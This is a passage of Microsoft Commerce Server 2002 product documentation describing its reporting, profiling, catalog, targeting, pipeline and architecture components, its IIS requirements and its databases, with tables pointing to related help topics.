  • The drillthrough feature so you can use Pivot controls to expose underlying data.

In addition, Commerce Server reports run quickly because the data required for many of the reports is stored in an OLAP database.

The Analysis Reporting feature includes the following key components:

  • Analysis Business Desk modules. Use these modules to run reports, and then manipulate them in Internet Explorer using Microsoft PivotTables and Microsoft PivotCharts.
  • Dynamic reports. Use these reports to gather the most recent data in the Data Warehouse. Dynamic reports are created at run time.
  • Dynamic drillthrough reports. Use these dynamic reports to display detailed information about all of the dimensions in the cube that contains the clicked dimension.
  • Static reports. Run these reports immediately upon request, and then store them along with the data, in the Data Warehouse.
  • The following table lists the reports included in Microsoft Commerce Server 2002.

Note

  • Reports with an asterisk (*) are available only in Commerce Server 2002 Enterprise Edition.
Dynamic reports that access OLAP cubes (no static reports access the cubes) | Dynamic reports that access the SQL Server database | Static reports that access the SQL Server database
Usage Trends | *Registered Users by Date Registered | Query Strings (multi value)
User Trends | *User Days to Register | Query Strings (single value)
Activity by Browser | *User Registration Rate | Entry Path Analysis
Distinct Users by Time |  | *Registered User Properties
Usage Summary by Week of Year |  | *Customer Sales
Usage Summary by Day of Week |  | *New Registered Users
Usage Summary by Hour of Day |  |
General Activity Statistics |  |
Entry Pages |  |
Exit Pages |  |
Bandwidth Summary |  |
Bandwidth Trends |  |
Product Sales |  |
Hits by HTTP Status |  |
Hits by Win32 Status |  |
Directories |  |
Top Referring Domains by Requests |  |
Top Requested Pages |  |
*User Visit Trends |  |
*Campaign Item Summary |  |
*Ad Reach and Frequency by Date |  |
*Ad Reach and Frequency per Advertiser |  |
*Buyer Browse to Purchase |  |
*Campaign Event Summary |  |
*Shopping Basket Events |  |
*Order Events |  |

The following table lists key Commerce Server 2002 Help topics to help you learn more about Analysis.

To learn about | See
Customizing reports | Analysis/Reporting Schema
Security for reports | Scripts for Securing Databases Accessed by Reports Securing Reports Accessing the Analysis Server Over HTTPS


Profiling System

You use the Commerce Server Profiling System to collect information you specify for any business-related item. For example, you can collect profile information for anonymous users, a context (such as the date and time of a visit), or an organization.

Microsoft Commerce Server provides the ability to aggregate user profile data from multiple physical stores and present this to the application developer as a single object. More importantly, this capability can be easily extended to manage any logical business entity.

Profile information is stored in the Profiles data store, which can be based in Active Directory, SQL Server, or both. You can export data from the Profiles data store into the Data Warehouse, and then using Commerce Server Business Desk you can analyze the profile data that is collected.

The Profiling System includes the following key components:

  • Profiles resource. Use this resource to manage the collection of user data on your Web site. You manage the Profiles resource through Commerce Server Manager, which is hosted on the Microsoft Management Console. You create data sources, data objects, and data members, create and validate profile definitions, and export and import profile schema.
  • Profiles store. This is a group of tables in a Microsoft SQL Server database that stores profile definitions, site terms, and named expressions.
  • ProfileObject and ProfileService objects. When developing a site, use the ProfileObject object to retrieve the data in specific profile object instances and modify the property values for that profile object. Use the ProfileService object to create, retrieve, and delete ProfileObject objects.
  • OLE DB Provider for Commerce Server. This is used to aggregate ProfileObject object data from multiple underlying data stores and expose the data as a single OLE DB Row object.
  • Authentication tools. Manage user authentication using the following tools:
    • AuthManager. A Component Object Model (COM) object that exposes methods for identifying users and controlling access to dynamically generated content. For example, a site developer could invoke the GetUserID method of the AuthManager object to identify a user based on a cookie or a query string.
    • AuthFilter. An Internet Server Application Programming Interface (ISAPI) filter that is used and configured at the IIS - Commerce Server application level. It can be applied to all users visiting the application. AuthFilter provides five implementation modes: Windows Authentication, Customer Authentication, AutoCookie Generation, Windows Authentication with AutoCookie, and Custom Authentication with AutoCookie.
  • Rolling Key Encryption. A feature you use to change the public and private keys in Asymmetric Encryption to a new pair, and migrate data to use the new keys. Commerce Server supports Asymmetric Encryption (used for encrypting data that needs to be encrypted later, and One-Way Hashing (used for hiding data).
  • Business Desk Profiles modules. You use these modules to specify what information to collect about the users visiting your site and what information to import into the Data Warehouse. In addition, you determine the information to be displayed to specific users or groups of users, for example, by creating target expressions to match content to users, or specifying which users see which catalogs.

    You can use both the Profiles resource and the Business Desk Profiles modules to:

    • Create, edit, and delete site terms
    • Edit and delete profile definitions
    • Create, edit, and delete profiles
  • Partner Service feature in the Supplier Solution Site. If your Web site is based on the Supplier Solution Site, partners can use the Partner Profile feature on your Web site. Delegated administrators can edit the profile for their organization, add or update user profiles for their organization, and view the orders for all the users in their organization. You control the fields available to the delegated administrators by using Business Desk.
  • Customer Services feature in the Retail Solution Site. If your Web site is based on the Retail Solution Site, your Web site users can use the Customer Profile feature to edit their own profiles and to research the status of their orders. When users first enter the Customer Profile feature on your Web site, they are shown their profile data. Using Business Desk, you control the fields that are available for them to edit.

The following table lists key Commerce Server 2002 Help topics to help you learn more about profiles.

To learn about | See
Concepts | Profile Concepts Best Practices for Profiles Authentication Concepts Best Practices for Authentication
Programming | Privacy Samples ASP-Based Profile Sitelet Example Code for Profile Objects Enabling AuthFilter for the Retail Solution Site Enabling AuthFilter for the Supplier Solution Site Integrating with Passport Exchange 2000 Outlook Web Access Basic Authentication Code to Retrieve Login Credentials Creating and Retrieving a Profile Instance with an Encrypted Property Example Code for the Microsoft.CommerceServer.Profiles Namespace
Programming references | Microsoft.CommerceServer.Runtime.Profiles Microsoft.CommerceServer.Interop.Profiles Profiling System Objects Profiles Schema Profiling System and OLE DB Provider Profile XML Structures
Security for profiles | Securing the Profiles Database Managing Encrypted Profile Properties Business Desk Security
Deploying the Profiles System | Creating a Profile Definition with Two Data Sources Adding Demographic Properties to the User Object Profile Definition Exporting and Importing Profile Schema in the Profiles Resource Packaging Extended Profile Schema
Creating and managing profiles | Managing Data Sources in the Profiles Resource Managing Profile Definitions in the Profiles Resource Business Desk Profiles


Product Catalog System

You use the Product Catalog System to import, export, create, and manage online catalogs. By using the Catalog modules in Commerce Server Business Desk, business managers can create catalogs of products, and add and update product data.

Business Desk users do not need any specialized knowledge about the databases that store product data, even if they are assembling a catalog of products from different sources, such as several different suppliers.

Using the Business Desk Catalog modules, for example, you can do the following:

  • Create catalogs that support multiple languages and multiple currencies.
  • Import or export catalogs that are in Extensible Markup Language (XML) or comma-separated value file (CSV) format.
  • Export changes applied to a catalog since a specified date.
  • Aggregate content from multiple catalogs.
  • Exchange catalogs with trading partners using Microsoft BizTalk Server 2000 and later editions.
  • Apply multiple search mechanisms so users visiting your site can find what they need in your catalog.

The Product Catalog System includes the following key components:

  • Business Desk Catalog modules. Use these modules to build and manage your catalogs.
  • CatalogManager object. When developing your site, you use this object to work with the entire Product Catalog System. The methods and properties of this object effect all catalogs contained in the Product Catalog System.

    A new CatalogManager object feature in Microsoft Commerce Server 2002 is support for join keys, which you use link to external tables to retrieve inventory data at run time, and to associate multiple values with a product.

  • MSCS_CatalogScratch database. The Product Catalog System uses the MSCS_CatalogScratch database to store temporary catalog tables.
  • CatalogCleanup.vbs script. Use this script to delete temporary tables from the MSCS_CatalogScratch database. The CatalogCleanup.vbs script is located in \Program Files\Microsoft Commerce Server 2002.
  • Updatefulltextcatalogs.vbs script. Use this script to update full-text indexes on all product catalogs in one full-text catalog. The Updatefulltextcatalog.vbs script is located in \Program Files\Microsoft Commerce Server 2002.
  • UpdateLanguageInfo.vbs script. Use this script to populate the CatalogLanguageMap table. Configure the word-breaker for each column that is full-text indexed in the neutral language table.

The following table lists key Commerce Server Help topics to help you learn more about Catalogs.

To learn about | See
Concepts | Catalog Concepts Best Practices for Catalogs
Programming | Programming Best Practices for Catalogs Example Code for the Microsoft.CommerceServer.Catalog Namespace Example Code for Product Catalog Objects ASP-Based Catalog Sitelet Integrating a Third-Party Product Catalog
Programming references | Microsoft.CommerceServer.Runtime.Catalog Microsoft.CommerceServer.Interop.Catalog Product Catalog Objects Catalog XML Structures
Security for catalogs | Securing the Product Catalog Database Business Desk Security
Deploying the Product Catalog System | Replicating Catalog Content Importing an XML Catalog File
Creating catalogs and updating catalog content | Creating a Catalog Definition Creating a Base Catalog Creating a Virtual Catalog Creating a Multilingual Catalog Pricing a Product in a Base Catalog


Targeting System

The Targeting System is a high-performance, versatile platform that business managers use to target content to any business-related item or condition. It includes a consistent targeting model so business managers use only one technology to target different business conditions.

Use can use the Targeting System to do the following:

  • Personalize the buying experience with targeted merchandising.
  • Create and schedule campaigns for customers who compete within the same industry. The competing ads are never shown on the same page.
  • Charge your advertising customers based on the number of ad requests or clicks they want their ads to receive.
  • Charge your advertising customers based upon the page on which they want their ad to appear.

The Targeting System includes five main feature areas:

  • Campaigns.
  • Content Selection Framework.
  • Expression Builder.
  • List Manager.
  • Commerce Server Direct Mailer.


Campaigns

The Campaigns modules in Commerce Server Business Desk are tightly integrated with both the Profiling System and the Product Catalog System through expressions. Expressions enable you to target advertisements to users and to apply discounts to products. In Microsoft Commerce Server 2002 Enterprise Edition, the Campaigns modules are also integrated with the Business Analytics System so you can analyze the success of your campaigns.

The following table lists key Commerce Server 2002 Help topics to help you learn more about Campaigns.

To learn about | See
Concepts | Campaign Concepts Ad Concepts Discount Concepts Content Selection Framework Concepts
Programming | Targeting Samples Example Code Targeting Objects Order Processing Samples Order Queuing Sample ASP.NET-Based Advertising Sitelet ASP-Based Discount Sitelet Extending the Content Selection Framework
Programming references | Microsoft.CommerceServer.Runtime.Targeting Microsoft.CommerceServer.Interop.Targeting Targeting Objects Expression XML Structures
Security for campaigns | Securing the Campaign Database Business Desk Security
Creating campaigns | Closing the Loop with Commerce Server Systems Business-to-Consumer Tutorial Creating a Marketing Campaign Creating an Ad Creating a Discount Extending Campaigns Discount Examples


Content Selection Framework

The Content Selection Framework (CSF) is a pipeline-based system that determines the content to be delivered for advertising and discount campaigns. CSF allows multiple pieces of content to be retrieved as a recordset with only one call, resulting in significant timesaving.

The CSF architecture supports an open scoring system that enables site developers to change the algorithm used to determine which piece of content is delivered. In addition, debugging code can be used to monitor events that occur during the scoring process.

The following figure shows the components of the Content Selection Framework.

A figure that shows the components of the Content Selection Framework.

The following table lists key Commerce Server 2002 Help topics to help you learn more about Content Selection Framework.

To learn about | See
Concepts | Content Selection Framework Concepts
Programming | Targeting Samples Example Code Targeting Objects Order Processing Samples ASP.NET-Based Advertising Sitelet Extending the Content Selection Framework
Programming references | Microsoft.CommerceServer.Runtime.Targeting Microsoft.CommerceServer.Interop.Targeting Targeting Objects Expression XML Structures
Security for campaigns | Securing the Campaign Database Business Desk Security
Creating campaigns | Closing the Loop with Commerce Server Systems Business-to-Consumer Tutorial Creating a Marketing Campaign Creating an Ad Creating a Discount Discount Examples


Expression Builder

An expression is a condition that is evaluated against profiles to determine whether to deliver content, or perform another action. For example, an expression might be user.totalvisit > 100. If this expression evaluates to True, then a specific piece of content is displayed to a user who has visited your site more than 100 times.

The Expression Builder provides the user interface in Commerce Server Business Desk modules for business managers to build expressions that deliver targeted content to users. The Expression Builder accesses the appropriate properties in Microsoft Commerce Server databases for building an expression, and it names and stores the expression in the database.

The Expression Builder is designed so that site developers can easily embed its functionality and user interface in other Business Desk modules. In addition, it can be invoked by any Web application that uses and manipulates expressions, enabling you to integrate it with other processes. For example, if you have an existing content management process, you can incorporate Expression Builder functionality, and then target content to users.

The Expression Builder uses Dynamic Hypertext Markup Language (DHTML) for its user interface, so the style sheets of the application will apply to the Expression Builder user interface, giving your application a consistent look and feel.

The following table lists key Commerce Server 2002 Help topics to help you learn more about the Expression Builder.

To learn about | See
Concepts | Expression-Based Targeting The Expression Builder
Programming | Targeting Samples Example Code Targeting Objects ASP.NET-Based Advertising Sitelet Extending the Content Selection Framework
Programming references | Microsoft.CommerceServer.Runtime.Targeting Microsoft.CommerceServer.Interop.Targeting Targeting Objects Expression XML Structures ExpressionBuilder ExpressionBuilder Configuration
Security for expressions | Securing the Profiles Database Business Desk Security
Creating expressions | Closing the Loop with Commerce Server Systems Business-to-Consumer Tutorial Creating Campaign Expressions


List Manager

List Manager is a service with a Commerce Server Business Desk user interface. You use List Manager to import and export lists of user profiles. In Microsoft Commerce Server 2002 Enterprise Edition, List Manager is integrated with the Business Analytics System so you can run a report to generate a list of profiles, and then import that list to List Manager. You can also import segment data to List Manager.

After you import a list of user profiles to List Manager, you can export it to the Users module, and then update the profile information as needed, for example, to add properties to user profiles for targeting. You can also use the list to create a direct mail campaign.

The following table lists key Commerce Server 2002 Help topics to help you learn more about List Manager.

To learn about | See
Concepts | Expression-Based Targeting The Expression Builder
Programming | Targeting Samples Example Code Targeting Objects ASP.NET-Based Advertising Sitelet Extending the Content Selection Framework
Programming references | Microsoft.CommerceServer.Runtime.Targeting Microsoft.CommerceServer.Interop.Targeting Targeting Objects Expression XML Structures ExpressionBuilder ExpressionBuilder Configuration
Security for List Manager | List Manager Service Account Securing the Campaigns Database Business Desk Security
Working with List Manager | Closing the Loop with Commerce Server Systems Business-to-Consumer Tutorial Managing Lists of User Records


Commerce Server Direct Mailer

Direct Mailer is a fast, scalable Microsoft Windows 2000–based service that you use to send personalized e-mail messages from a Web page, or nonpersonalized mailings from a flat text file, to large groups of recipients. Direct Mailer can be used as a stand-alone process in which you directly configure direct mail jobs. Or you can use it together with the Campaigns modules in Commerce Server Business Desk, and track the success of the direct mail campaign. In Microsoft Commerce Server 2002 Enterprise Edition, Direct Mailer tracks e-mail, and records, which messages are sent and which are clicked (opened), enabling you to analyze the success of a direct mail campaign.

The Direct Mailer pipeline is used to process lists of recipients. You can add new components to the pipeline, integrate the components with line-of-business systems, or replace them with components supplied by third parties For example, you can change the template used with the mailings.

The following table lists key Commerce Server Help topics to help you learn more about Direct Mailer.

To learn about | See
Concepts | Direct Mail Concepts Direct Mailer Pipeline
Programming references | Microsoft.CommerceServer.Runtime.Targeting Microsoft.CommerceServer.Interop.Targeting Targeting Objects Expression XML Structures ExpressionBuilder ExpressionBuilder Configuration
Deploying Direct Mailer | Installing Commerce Server 2002 Resources as Clustered Resources Configuring an SMTP Server for Direct Mailer
Security for Direct Mailer | Direct Mailer Service Account Securing the Direct Mailer Database Business Desk Security
Working with Direct Mailer | Direct Mailer Tutorial Running Direct Mailer Creating Direct Mail Creating a Mailing List


Business Processing Pipeline System

You use the Business Processing Pipeline System to customize your order, targeting, and merchandising processes. Using pipelines, you can define and link together the stages of a business process.

For example, the Order Processing pipeline (OPP) provides the sequence of steps that are used to process purchases from your site. In the first stage in the Order Processing pipeline, you retrieve product information from the database that stores catalog data. In the next stage, you add the address of the user to the order. Each stage in the pipeline represents a category of work. The sequence of the stages determines the sequence in which the work is to be done.

Microsoft Commerce Server 2002 includes pipeline features that provide for flexible order handling, easier shipping method maintenance, more flexible discount handling, and greater efficiency in pipeline loading and execution. These features include:

  • High-precision currency handling
  • Multiple shipment handling
  • Discount handling
  • Pipeline pooling

The Business Processing Pipeline System includes the following key components:

  • Pipelines. Commerce Server includes several preconfigured pipelines that you can customize. For a description of each pipeline, see Working with Pipelines.
  • Pipeline Editor. Use this application to create and edit Commerce Server pipelines.

The following table lists key Commerce Server 2002 Help topics to help you learn more about pipelines.

To learn about | See
Customizing pipelines | Working with Pipelines Discount Objects Pooled Pipelines Pipeline Concepts Building Pipeline Components Pipeline Objects Pipeline Component Reference
Processing multicurrency orders | Currency Enhancements Multiple-shipment Shipping Architecture


Commerce Server Architecture

Microsoft Commerce Server 2002 provides a rich and extensible foundation for building sophisticated e-commerce applications that integrate with your existing back-end systems. Because the architecture is based on the Component Object Model (COM), it is easy to extend the platform by choosing from the large number of integrated third-party solutions available, or by having your site developers customize Commerce Server tools to meet your business needs.

Commerce Server 2002 includes the Commerce Server .NET Application Framework, which is an extension of the ASP.NET programming model. Developers can use this framework to create Commerce Server applications that use ASP.NET code to run Commerce Server services and systems. Commerce Server features and tools are available in Visual Studio .NET. For more information, see Commerce Server .NET Application Framework. For information about the International Retail site, see International Retail Site.

Commerce Server takes full advantage of Microsoft Windows 2000, including support for the Microsoft Active Directory service, and is optimized for use with other .NET Enterprise Servers.

This section provides an overview of the major components of the Commerce Server architecture.

This section contains:

  • Resources, Sites, Applications, and Web Servers. Describes resources, sites, applications, and Web servers, and how they differ from each other.
  • Commerce Server and IIS. Describes the relationship between IIS and Commerce Server objects, and which Internet Information Services (IIS) 5.0 properties affect Commerce Server.
  • Databases. Describes the Commerce Server databases, and the data that each database contains.
  • Business Desk Architecture. Describes the components of Commerce Server Business Desk, and the Business Desk Framework.
  • Commerce Server and .NET Enterprise Servers. Describes the .NET technologies that typically are used with Commerce Server.


Resources, Sites, Applications, and Web Servers

A Commerce Server installation has four main groups of components:

  • Resources. An entity that provides functionality to the applications in a Commerce Server site. A resource has one or more COM objects, which are used on the Web pages of an application to access the functionality of the resource. A resource can have global properties or site-level properties, but not both.
  • Sites. A collection of ASP-based applications that use Commerce Server Component Object Model (COM) objects, or a collection of ASP .NET-based applications that use Primary Interop Assembly (PIA) or Base Class Library (BCL) objects. The applications use and modify resources. A site provides a means of administering the applications in the site as a group.
  • Applications. A Web site. It is a logical representation of an application in Internet Information Services (IIS); it appears in both the Commerce Server Manager and IIS console trees. In the IIS console, an application is either at the home directory level of the Web site or at a subdirectory level of the Web site.
  • Web Servers. In Commerce Server, a Web server is a physical server computer running Internet Information Services (IIS) 5.0; it inherits properties from the IIS Web site. Commerce Server supports Web servers that are not running IIS and do not include Commerce Server components.

You configure and manage these components by using Commerce Server Manager, a tool hosted by Microsoft Management Console (MMC).

The following figure shows the Commerce Server Manager console and identifies each group of Commerce Server components.

A figure that shows the Commerce Server Manager console and identifies its parts.

See Also

Resources

Sites

Applications

Web Servers

Commerce Server and IIS

Securing Your Site


Resources

A resource is an entity that provides functionality to the applications in a Commerce Server site.

A resource consists of one or more COM objects that are used on the Web pages of an application to access the resource functionality. Resources include properties that are stored in the Administration database. These properties can be accessed and changed by using Commerce Server Manager (and changed programmatically through the Config objects).

There are two types of resources: global resources and site resources. Third parties can develop custom global resources and site resources to work with Commerce Server. For more information, see Integrating Custom Resources.

Global Resources

Global resources are available for use by all sites.

Commerce Server Setup creates some global resources, and others are created when you unpack a site by using Commerce Server Site Packager. Only resources with global-level properties appear in Commerce Server Manager under the Global Resources node. Every site that uses a global resource also uses the properties that you assign to that global resource.

The following table lists and describes the global resources included with Commerce Server.

Global resource | Description | Installed by
Commerce Server Direct Mailer (also a Windows 2000 service) | Sends personalized or non-personalized mailings to large groups of recipients. | Commerce Server Setup
Predictor (also a Windows 2000 service) | Adds predictive capabilities to your Web site, and builds complex analysis models that you can use to identify population segments and user trends. | Commerce Server Setup
Data Warehouse | Imports and manages Web site data from Web log files, Commerce Server databases, and other data sources. | Commerce Server Site Packager
CS Authentication | Configures the authentication and identification method for your Commerce Server site. | Commerce Server Site Packager
Profiles | Creates data sources for storing profile data, and creates and stores profile definitions and properties. | Commerce Server Site Packager

Site Resources

Site resources provide functionality to a specific site.

In Commerce Server Manager, global resource pointers and site resources appear under a site. You configure the properties of a site resource at the site level. You configure global resource pointers to point to the global resource at the global level.

A resource can have all of its properties at the site level, or all of its properties at the global level, but it cannot have properties in both places.

The following table lists and describes the site resources included with Commerce Server.

Site resource | Description
App Default Config | Stores properties that you use to configure a site, such as currency locale and symbols, billing and payment options, privacy options, unit of measure for weight, and options for integrating with BizTalk Server.
Business Desk Permissions | Connects to the database that stores data such as security identifiers and definitions that are used to secure the Business Desk user interface.
Campaigns | Connects to the database that stores data about campaigns (ads, discounts, and direct mail).
Product Catalog | Connects to the database that stores catalog schema and product data.
Transactions | Connects to the database that stores data for baskets and orders.
Transaction Config | Connects to the database that stores data for shipping methods and rates, tax rates, state and region codes, and order status codes.

Sharing Resources Across Sites

The following table shows whether each resource can be shared across multiple sites.

Resource | Can be shared
App Default Config | No
Business Desk Permissions | No
Campaigns | No
CS Authentication | Yes
Data Warehouse | Yes
Direct Mailer | Yes
Predictor | Yes
Product Catalog | No
Profiles | Yes
Transactions | No
Transaction Config | No

See Also

Managing Commerce Resources

Integrating Custom Resources

Integrating a Custom Snap-in Extension

Deploying Your Site

Multiple Sites and One Data Warehouse


Sites

A site is a collection of ASP-based applications that use Commerce Server Component Object Model (COM) objects, or a collection of ASP .NET-based applications that use Primary Interop Assembly (PIA) or Base Class Library (BCL) objects. Sites use and modify resources. A site provides a means of administering the applications in the site as a group.

A site typically includes at least two applications: one that users browse to view your online store, and one that business managers use to access Commerce Server Business Desk. In addition, a site can include other applications. For example, a site might include www.alpineskihouse.com, www.alpineskihouse.com/equipment, www.alpineskihouse.com/clothing, and www.alpineskihouse.com/BusinessDesk. All of these applications can be distributed across many servers.

Sites use both global resources, which are shared across multiple sites, and site resources that are defined explicitly for the site.

From a site node in Commerce Server Manager, you can package a site, and add and delete resources.

See Also

Managing Commerce Sites

Deploying Your Site

Installing on a Four-Computer Clustered Configuration

Installing on a Three-Computer Non-Clustered Configuration


Applications

A Commerce Server 2002 application is a Web site. It is a logical representation of an application in Internet Information Services (IIS) 5.0,and it appears in both the Commerce Server Manager and IIS console trees. In the IIS console, an application is either at the home directory level of the Web site or at a subdirectory level of the Web site.

An application represents the Web address that a Web client accesses. When you add an application to Commerce Server, the Administration database is updated with the configuration data for the application. When you add a Web server to the application, the Active Server Pages (ASP) files are installed on the Web server computer.

When a Commerce Server site is unpacked, it typically installs two applications: one for the Web site that users access to browse and purchase products, and one for Commerce Server Business Desk, which is used to manage that site. An application can use only the resources of the site to which it belongs.

An application includes its own Web servers, which in turn serve the ASP page content for the Web site. An application always includes at least one Web server, and it can include multiple Web servers. You can set up a site at the root level of an IIS Web site or at a virtual directory any number of levels below the root.

You can perform the following functions from the IIS and Commerce Server Manager consoles:

  • From the application node in the IIS snap-in, you can set all properties available at the virtual directory level, including virtual directory properties, default documents, directory security, Hypertext Transfer Protocol (HTTP) headers, and custom errors. You can also configure Microsoft FrontPage Server Extensions and rename or delete the application.
  • From the application node in Commerce Server Manager, you can set the nonsecure and secure host name and IIS application path, enable HTTPS, enable Autocookie, enable an authentication filter, and configure settings common to all Web servers in the application.

For detailed information about properties that are inherited from IIS to Commerce Server, see Commerce Server and IIS.

See Also

Managing Commerce Application and Web Servers

Deploying Your Site

Installing on a Four-Computer Clustered Configuration

Installing on a Three-Computer Non-Clustered Configuration


Web Servers

In Commerce Server, a Web server is a computer with Internet Information Services (IIS) 5.0 installed. To use a Web server with Commerce Server 2002, you must install Commerce Server on the same computer as IIS.

In Commerce Server, a Web server is associated with one or more applications; different applications can share the same Web server. The Web server contains the ASP files and subfolders for the application. One application can have several Web servers that, taken together, form a Web farm.

The following figure shows the objects on the IIS and Commerce Server Manager console trees, and the relationships among these objects.

A figure that shows the objects on the IIS and Commerce Server Manager consoles.

To add ASP files to a Web server, you use Commerce Server Site Packager to unpack the Web server. The Commerce Web server object is added to the application when unpacking is complete. In Commerce Server Manager, a Web server object is exposed under the associated application.

The Web server object contains properties needed by the Data Warehouse to import log files.

The following table lists the properties you can view or change from the Web server node in Commerce Server Manager. For instructions, see Configuring a Web Server.

Property | Description
Server name | The name of the computer on which the Web server is installed. Change the name only if you have renamed your server.
Identities | This box displays the Internet Protocol (IP) address for the Web server, the TCP port, and the host header name. These values are initially read from IIS.
SSL Identities | This box displays the IP address and SSL port for the Web server. These values are initially read from IIS.
New Log Time Period | Specify how long the IIS Web site writes to a log file before it creates a new file. This value is initially read from IIS.
Log file mask | If desired, specify a custom log file rotation, indicating how long the IIS Web site writes to a log file before it creates a new file. For more information, including examples of what to enter in this box, see Specifying a Web Server Log File Mask.
Log file directory | The log file path to which the IIS Web site writes events, for example, C:\Winnt\System32\LogFiles\Log1. This value is initially read from IIS. However, you might want to specify a different directory if you copy the Web log files from the Web server to a central location before you run the import Data Transformation Services (DTS) tasks.
Log file code page | This box displays the code pages used by the entire file. IIS 5.0 supports System code page. Future releases of IIS will support UTF-8.
URL encoding code page | This box displays the code pages used for all URLs. IIS 5.0 supports System code page. Future releases of IIS will support UTF-8.

When a Web server is added, these properties are automatically populated from IIS 5.0 to the Commerce Server Administration database.

It is possible that different applications might share a Web server. Each application has a unique URL, and unique URLs can be served by a single IIS Web site. For example, www.microsoft.com and www.microsoft.com/commerceserver could be served by the same IIS Web site.

If you are running a Web farm, you need to replicate your Web servers. It is recommended that you use Microsoft Application Center 2000 or another product to perform content replication.

Non-Commerce Web Servers

In addition to supporting Web servers that run IIS, Commerce Server also supports Web servers that do not run IIS and that do not include Commerce Server components. By supporting non-Commerce Web servers, Commerce Server enables you to make the Web server log files of those servers available to the Data Warehouse for import.

Commerce Server provides the Data Warehouse Configurator, a wizard that makes it easy for you to configure a non-Commerce application and Web server to work with the Commerce Server Data Warehouse. For more information, see Adding a Non-Commerce Application to a Site and Adding a Non-Commerce Web Server to an Application.

See Also

Configuring a Web Server

Commerce Server and IIS

Deploying Your Site

Installing on a Four-Computer Clustered Configuration

Installing on a Three-Computer Non-Clustered Configuration


Commerce Server and IIS

The system administrator, who is responsible for the day-to-day administration of Microsoft Commerce Server 2002, is typically also responsible for administering Microsoft Internet Information Services (IIS) 5.0.

Although Commerce Server runs on top of IIS, the relationship between IIS and Commerce Server objects is not strictly hierarchical. The total set of properties that affect a Commerce Server site includes properties that are:

  • Set at the IIS level only.
  • Set within Commerce Server only, independent from IIS.
  • Inherited from IIS.
  • You use the IIS snap-in to manage Web site access permissions and security, performance, directories and paths, the identification of Web site names, and IP addresses and ports.

You use Commerce Server Manager to perform the following tasks:

  • Manage global and site Commerce Server resources, configure Commerce Server-specific properties, configure database connection strings for resources, and add and remove Web servers from an application.
  • At the Commerce Server application level, you can specify the IIS application path, IIS Web site, non-secure and secure host names, and IP port and secure IP port. You can also configure properties to enable HTTPS, enable Autocookie, and select an authentication filter. These properties apply to all of the Web servers used by the application.

    When you change port properties in Commerce Server, they are not automatically changed in IIS. The following port properties in IIS are the port properties that are actually used:

    At the application level

    • Transmission Control Protocol (TCP) port
    • Secure Sockets Layer (SSL) port

    At each Web server

    • Internet Protocol (IP) address
    • Log file path
    • Log file period

    If you change port properties in IIS, you must also change them in Commerce Server.

    Web server properties are inherited from IIS and stored in the Administration database for ease of access. If the IIS properties change, then you need to synchronize the Administration database either by manually updating the new values, or by clicking the Synchronize values button on the Web Servers tab in the Application Properties dialog box. For more information, see Configuring an Application.

    When you click the Synchronize values button, Commerce Server synchronizes the properties at the application level and the properties for all the Web server objects below the application. For the properties at the application level (TCP port and SSL port), Commerce Server reads the values for the first Web server. It assumes that the Web servers have all been configured identically, which must be the case for a Web farm to operate correctly.

  • At the Commerce Server Web server level, you can view and change properties for the IP address and log file period.

See Also

Administering Commerce Server

Adding a Non-Commerce Application to a Site

Deploying Your Site

Installing on a Four-Computer Clustered Configuration

Installing on a Three-Computer Non-Clustered Configuration


Commerce Server Dependencies on IIS

This section documents which features in Internet Information Services you need to enable, at the minimum, if you use third-party tools (for example, a content filter at the firewall).

Commerce Server requires the following features in IIS:

  • Services:
    • HTTP
    • SMTP. Direct Mailer requires access to an SMTP mail server. A customer's Web site might have code to send out an order confirmation and might need access to an SMTP mail server. This SMTP server might or might not be the IIS-provided SMTP server. It is a customer choice.

    Commerce Server does not require FTP and NNTP.

  • HTTP verbs: GET, POST, PUT
  • File extensions that need to be served by IIS: ASP, HTM, GIF, JPG, HTA, HTC, XML, XSL, CSV, CAB, TXT, CSS, CHM, HHC, HHK, JS, VBS, and EXE

    JS and VBS are downloaded to the client; they are not run on the server. Commerce Server provides the file OWC10.exe (Office Web Controls version 10) as a download to the client browser; it is not run on the server.

  • HTTP headers: Translate:, IF:, Lock-Token:

    Commerce Server uses WebDAV to post a catalog import file (XML or CSV file extension).

  • Virtual directories installed under the default Web site: None.

    Commerce Server does not depend on IISSamples, MSADC, or Scripts.

  • The IUSR and IWAM accounts must not have Deny Execute ACLs on the System32 directory and its parents.

    By default, Commerce Server DLLs are located in the \Program Files\Microsoft Commerce Server directory. During installation you can change the installation path; however, Commerce Server requires Visual Studio .NET framework DLLs. It also requires:

    • Global assembly cache (GAC) at C:\WINNT\System32\Assembly
    • System policy data stored in C:\WINNT\System32\Microsoft.NET\*
  • The IUSR and IWAM accounts must not have Deny Write ACLs on some of the Web content directories.

    Commerce Server requires write access to receive a catalog file update (XML or CSV file extension) to a product catalog directory under the Business Desk virtual root of the site. You define the virtual root name.


Databases

The following table lists the databases that are typically used in a Commerce Server site. Depending on the features and configuration you choose for your site, you might have additional databases, or fewer databases.

You specify the connection strings for these databases during the setup and the unpacking process. However, you can change the connection strings by using Commerce Server Manager.

Database and name | Description
Commerce Server <site name>_commerce | Data for catalogs, campaigns, transactions, profiles, and events.
Administration MSCS_Admin | Configuration data used by Commerce Server.
Data Warehouse <site name>_dw | Day-to-day operational data about users who visit your site, such as user profile data, transaction data, and click-history data. This data is imported from Web log files and Commerce Server databases using Commerce Server Data Transformation Services (DTS) tasks.
Direct Mailer | Data for mailing lists, messages, and events.

This section contains:

  • Commerce Server Database Relationships
  • Commerce Server Database Connection Strings
  • Connection Strings, Site Packager, and Admin Objects
  • OLE DB Provider Connection Pooling
  • Administration Database Tables
  • Analysis/Report Database Tables
  • Data Warehouse Database Tables
  • Direct Mailer Database
  • Campaigns Database Tables
  • Prediction Database Tables
  • Components of the Catalog Database
  • MSCS_CatalogScratch Database
  • Profiles Database Tables
  • Transactions Database Tables
  • TransactionConfig Database Tables


Commerce Server Database Relationships

Commerce Server includes a diagram of the Data Warehouse database. For more information, go to http://go.microsoft.com/fwlink/?LinkId=6724.

Use this procedure to view a diagram of the Commerce Server databases in SQL Server.

To view a diagram of the Commerce Server databases

  1. Expand Microsoft SQL Servers, expand SQL Server Group, expand the server on which your databases are installed, and then expand Databases.
  2. Right-click Diagrams, and then click New Database Diagram.

    The Create Database Diagram Wizard is started.

  3. In the Select Tables to be Added dialog box, select Add related tables automatically, and then click Next.
  4. Click Finish.

The Create Database Diagram Wizard draws the relationships.

See Also

Extending the Data Warehouse


Commerce Server Database Connection Strings

Commerce Server connection strings, including the login user names and passwords, are stored in the Administration database.

Note

